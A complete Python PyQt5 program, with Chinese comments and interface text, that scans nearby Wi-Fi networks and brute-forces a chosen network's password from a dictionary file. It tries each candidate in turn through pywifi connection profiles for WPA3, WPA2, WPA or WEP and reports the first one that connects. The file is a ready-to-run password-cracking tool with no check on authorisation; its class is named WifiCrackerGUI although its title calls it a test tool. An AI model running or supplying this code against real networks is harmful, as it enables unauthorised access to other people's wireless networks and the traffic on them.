import sys
import time
import pywifi
from pywifi import const
from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, 
                           QHBoxLayout, QPushButton, QLabel, QComboBox, 
                           QTextEdit, QFileDialog, QProgressBar, QMessageBox,
                           QStyle, QStyleFactory, QGroupBox, QRadioButton)
from PyQt5.QtCore import Qt, QThread, pyqtSignal
from PyQt5.QtGui import QFont, QIcon

# 检查pywifi版本和支持的功能
SUPPORT_WPA3 = hasattr(const, 'AKM_TYPE_SAE')
PYWIFI_VERSION = getattr(pywifi, '__version__', 'unknown')

def init_wifi():
    """初始化WiFi，并返回可用的网络接口"""
    try:
        wifi = pywifi.PyWiFi()
        ifaces = wifi.interfaces()
        if len(ifaces) == 0:
            raise Exception("没有找到无线网卡")
        
        print(f"找到 {len(ifaces)} 个无线网卡")
        for i, iface in enumerate(ifaces):
            print(f"网卡 {i + 1}: {iface.name()}")
            
        return wifi, ifaces[0]
    except Exception as e:
        print(f"初始化WiFi时出错: {str(e)}")
        return None, None

class WifiTester(QThread):
    progress_signal = pyqtSignal(int, str)
    result_signal = pyqtSignal(bool, str)
    error_signal = pyqtSignal(str)
    
    def __init__(self, ssid, passwords, security_type):
        super().__init__()
        self.ssid = ssid
        self.passwords = passwords
        self.security_type = security_type
        self.is_running = True

    def run(self):
        try:
            wifi, iface = init_wifi()
            if not wifi or not iface:
                self.error_signal.emit("无法初始化WiFi接口")
                return

            iface.disconnect()
            time.sleep(1)

            total = len(self.passwords)
            for index, password in enumerate(self.passwords, 1):
                if not self.is_running:
                    break

                self.progress_signal.emit(int((index/total)*100), password)
                
                try:
                    profile = pywifi.Profile()
                    profile.ssid = self.ssid
                    profile.auth = const.AUTH_ALG_OPEN

                    # 根据选择的安全类型设置加密方式
                    if self.security_type == "WPA3" and SUPPORT_WPA3:
                        profile.akm.append(const.AKM_TYPE_SAE)
                        profile.cipher = const.CIPHER_TYPE_CCMP
                    elif self.security_type == "WPA2" or (self.security_type == "WPA3" and not SUPPORT_WPA3):
                        profile.akm.append(const.AKM_TYPE_WPA2PSK)
                        profile.cipher = const.CIPHER_TYPE_CCMP
                    elif self.security_type == "WPA":
                        profile.akm.append(const.AKM_TYPE_WPAPSK)
                        profile.cipher = const.CIPHER_TYPE_TKIP
                    elif self.security_type == "WEP":
                        profile.auth = const.AUTH_ALG_SHARED
                        profile.akm.append(const.AKM_TYPE_NONE)
                        profile.cipher = const.CIPHER_TYPE_WEP104

                    profile.key = password

                    iface.remove_all_network_profiles()
                    tmp_profile = iface.add_network_profile(profile)

                    iface.connect(tmp_profile)
                    time.sleep(3)

                    if iface.status() == const.IFACE_CONNECTED:
                        iface.disconnect()
                        self.result_signal.emit(True, password)
                        return
                except Exception as e:
                    print(f"测试密码 {password} 时出错: {str(e)}")
                    continue

            self.result_signal.emit(False, "")
        except Exception as e:
            self.error_signal.emit(f"测试过程出错: {str(e)}")

    def stop(self):
        self.is_running = False

class WifiCrackerGUI(QMainWindow):
    def __init__(self):
        super().__init__()
        try:
            self.wifi, self.iface = init_wifi()
            if not self.wifi or not self.iface:
                QMessageBox.critical(self, "错误", "无法初始化WiFi接口，请确保：\n1. 以管理员权限运行\n2. WiFi适配器已启用\n3. 已安装正确的网卡驱动")
                sys.exit(1)
            self.tester = None
            self.initUI()
            
            # 显示版本信息
            print(f"pywifi版本: {PYWIFI_VERSION}")
            print(f"WPA3支持: {'是' if SUPPORT_WPA3 else '否'}")
            
        except Exception as e:
            QMessageBox.critical(self, "错误", f"初始化失败: {str(e)}")
            sys.exit(1)

    def initUI(self):
        self.setWindowTitle('WiFi密码测试工具')
        self.setStyleSheet("""
            QMainWindow {
                background-color: #f0f0f0;
            }
            QPushButton {
                background-color: #0078d4;
                color: white;
                border: none;
                padding: 8px 16px;
                border-radius: 4px;
                min-width: 100px;
            }
            QPushButton:hover {
                background-color: #106ebe;
            }
            QPushButton:disabled {
                background-color: #cccccc;
            }
            QComboBox {
                padding: 5px;
                border: 1px solid #cccccc;
                border-radius: 4px;
                min-width: 200px;
            }
            QProgressBar {
                border: 1px solid #cccccc;
                border-radius: 4px;
                text-align: center;
            }
            QProgressBar::chunk {
                background-color: #0078d4;
            }
            QGroupBox {
                border: 1px solid #cccccc;
                border-radius: 4px;
                margin-top: 10px;
                font-weight: bold;
            }
            QGroupBox::title {
                subcontrol-origin: margin;
                left: 10px;
                padding: 0 3px 0 3px;
            }
        """)
        
        # 主窗口部件
        central_widget = QWidget()
        self.setCentralWidget(central_widget)
        layout = QVBoxLayout(central_widget)
        layout.setSpacing(20)
        layout.setContentsMargins(20, 20, 20, 20)

        # WiFi列表
        wifi_layout = QHBoxLayout()
        wifi_label = QLabel('选择WiFi网络:')
        self.wifi_combo = QComboBox()
        self.refresh_btn = QPushButton('刷新')
        self.refresh_btn.clicked.connect(self.scan_wifi)
        wifi_layout.addWidget(wifi_label)
        wifi_layout.addWidget(self.wifi_combo)
        wifi_layout.addWidget(self.refresh_btn)
        layout.addLayout(wifi_layout)

        # 安全类型选择
        security_group = QGroupBox("安全类型")
        security_layout = QHBoxLayout()
        self.wpa3_radio = QRadioButton("WPA3")
        self.wpa2_radio = QRadioButton("WPA2")
        self.wpa_radio = QRadioButton("WPA")
        self.wep_radio = QRadioButton("WEP")
        
        # 如果不支持WPA3，禁用该选项
        if not SUPPORT_WPA3:
            self.wpa3_radio.setEnabled(False)
            self.wpa3_radio.setToolTip("当前版本不支持WPA3")
        
        self.wpa2_radio.setChecked(True)  # 默认选择WPA2
        security_layout.addWidget(self.wpa3_radio)
        security_layout.addWidget(self.wpa2_radio)
        security_layout.addWidget(self.wpa_radio)
        security_layout.addWidget(self.wep_radio)
        security_group.setLayout(security_layout)
        layout.addWidget(security_group)

        # 密码字典文件选择
        dict_layout = QHBoxLayout()
        self.dict_path_label = QLabel('未选择密码字典')
        self.select_dict_btn = QPushButton('选择密码字典')
        self.select_dict_btn.clicked.connect(self.select_dict_file)
        dict_layout.addWidget(self.dict_path_label)
        dict_layout.addWidget(self.select_dict_btn)
        layout.addLayout(dict_layout)

        # 进度条
        self.progress_bar = QProgressBar()
        self.progress_bar.setMaximum(100)
        layout.addWidget(self.progress_bar)

        # 状态显示
        self.status_text = QTextEdit()
        self.status_text.setReadOnly(True)
        self.status_text.setMinimumHeight(200)
        layout.addWidget(self.status_text)

        # 控制按钮
        control_layout = QHBoxLayout()
        self.start_btn = QPushButton('开始测试')
        self.start_btn.clicked.connect(self.start_test)
        self.stop_btn = QPushButton('停止')
        self.stop_btn.clicked.connect(self.stop_test)
        self.stop_btn.setEnabled(False)
        control_layout.addWidget(self.start_btn)
        control_layout.addWidget(self.stop_btn)
        layout.addLayout(control_layout)

        # 设置窗口大小和位置
        self.setGeometry(100, 100, 600, 600)
        self.scan_wifi()

    def get_selected_security_type(self):
        if self.wpa3_radio.isChecked():
            return "WPA3"
        elif self.wpa2_radio.isChecked():
            return "WPA2"
        elif self.wpa_radio.isChecked():
            return "WPA"
        else:
            return "WEP"

    def scan_wifi(self):
        try:
            self.wifi_combo.clear()
            self.status_text.append("正在扫描WiFi网络...")
            self.iface.scan()
            time.sleep(2)
            results = self.iface.scan_results()
            
            wifi_list = []
            for profile in results:
                if profile.ssid not in wifi_list and profile.ssid.strip():
                    wifi_list.append(profile.ssid)
            
            self.wifi_combo.addItems(wifi_list)
            self.status_text.append(f"找到 {len(wifi_list)} 个WiFi网络\n")
        except Exception as e:
            self.status_text.append(f"扫描WiFi时出错: {str(e)}\n")
            QMessageBox.warning(self, "警告", f"扫描WiFi时出错: {str(e)}")

    def select_dict_file(self):
        file_name, _ = QFileDialog.getOpenFileName(self, "选择密码字典文件", "", "文本文件 (*.txt)")
        if file_name:
            self.dict_path_label.setText(file_name)

    def start_test(self):
        if not self.wifi_combo.currentText():
            QMessageBox.warning(self, "警告", "请选择一个WiFi网络")
            return
        
        if self.dict_path_label.text() == "未选择密码字典":
            QMessageBox.warning(self, "警告", "请选择密码字典文件")
            return

        try:
            with open(self.dict_path_label.text(), 'r', encoding='utf-8') as f:
                passwords = f.read().splitlines()
        except Exception as e:
            QMessageBox.critical(self, "错误", f"读取密码文件失败: {str(e)}")
            return

        if not passwords:
            QMessageBox.warning(self, "警告", "密码字典为空")
            return

        security_type = self.get_selected_security_type()
        if security_type == "WPA3":
            if not SUPPORT_WPA3:
                QMessageBox.critical(self, "错误", f"当前pywifi版本({PYWIFI_VERSION})不支持WPA3，请选择其他加密类型")
                return
            else:
                QMessageBox.warning(self, "提示", "WPA3使用了更强大的加密机制，破解难度较大，可能需要更长时间")

        self.status_text.clear()
        self.progress_bar.setValue(0)
        self.start_btn.setEnabled(False)
        self.stop_btn.setEnabled(True)
        self.refresh_btn.setEnabled(False)
        self.select_dict_btn.setEnabled(False)

        self.tester = WifiTester(self.wifi_combo.currentText(), passwords, security_type)
        self.tester.progress_signal.connect(self.update_progress)
        self.tester.result_signal.connect(self.test_finished)
        self.tester.error_signal.connect(self.handle_error)
        self.tester.start()

    def stop_test(self):
        if self.tester:
            self.tester.stop()
            self.tester.wait()
            self.status_text.append("\n测试已停止")
            self.reset_ui()

    def update_progress(self, progress, current_password):
        self.progress_bar.setValue(progress)
        self.status_text.append(f"正在测试: {current_password}")
        self.status_text.verticalScrollBar().setValue(
            self.status_text.verticalScrollBar().maximum()
        )

    def test_finished(self, success, password):
        if success:
            QMessageBox.information(self, "成功", f"找到正确的密码: {password}")
            self.status_text.append(f"\n成功！WiFi密码是: {password}")
        else:
            QMessageBox.warning(self, "未找到", "未找到正确的密码")
            self.status_text.append("\n未找到正确的密码")
        
        self.reset_ui()

    def reset_ui(self):
        self.start_btn.setEnabled(True)
        self.stop_btn.setEnabled(False)
        self.refresh_btn.setEnabled(True)
        self.select_dict_btn.setEnabled(True)

    def handle_error(self, error_msg):
        QMessageBox.critical(self, "错误", error_msg)
        self.reset_ui()

def main():
    try:
        app = QApplication(sys.argv)
        app.setStyle(QStyleFactory.create('Fusion'))
        window = WifiCrackerGUI()
        window.show()
        sys.exit(app.exec_())
    except Exception as e:
        print(f"程序启动失败: {str(e)}")
        sys.exit(1)

if __name__ == '__main__':
    main() 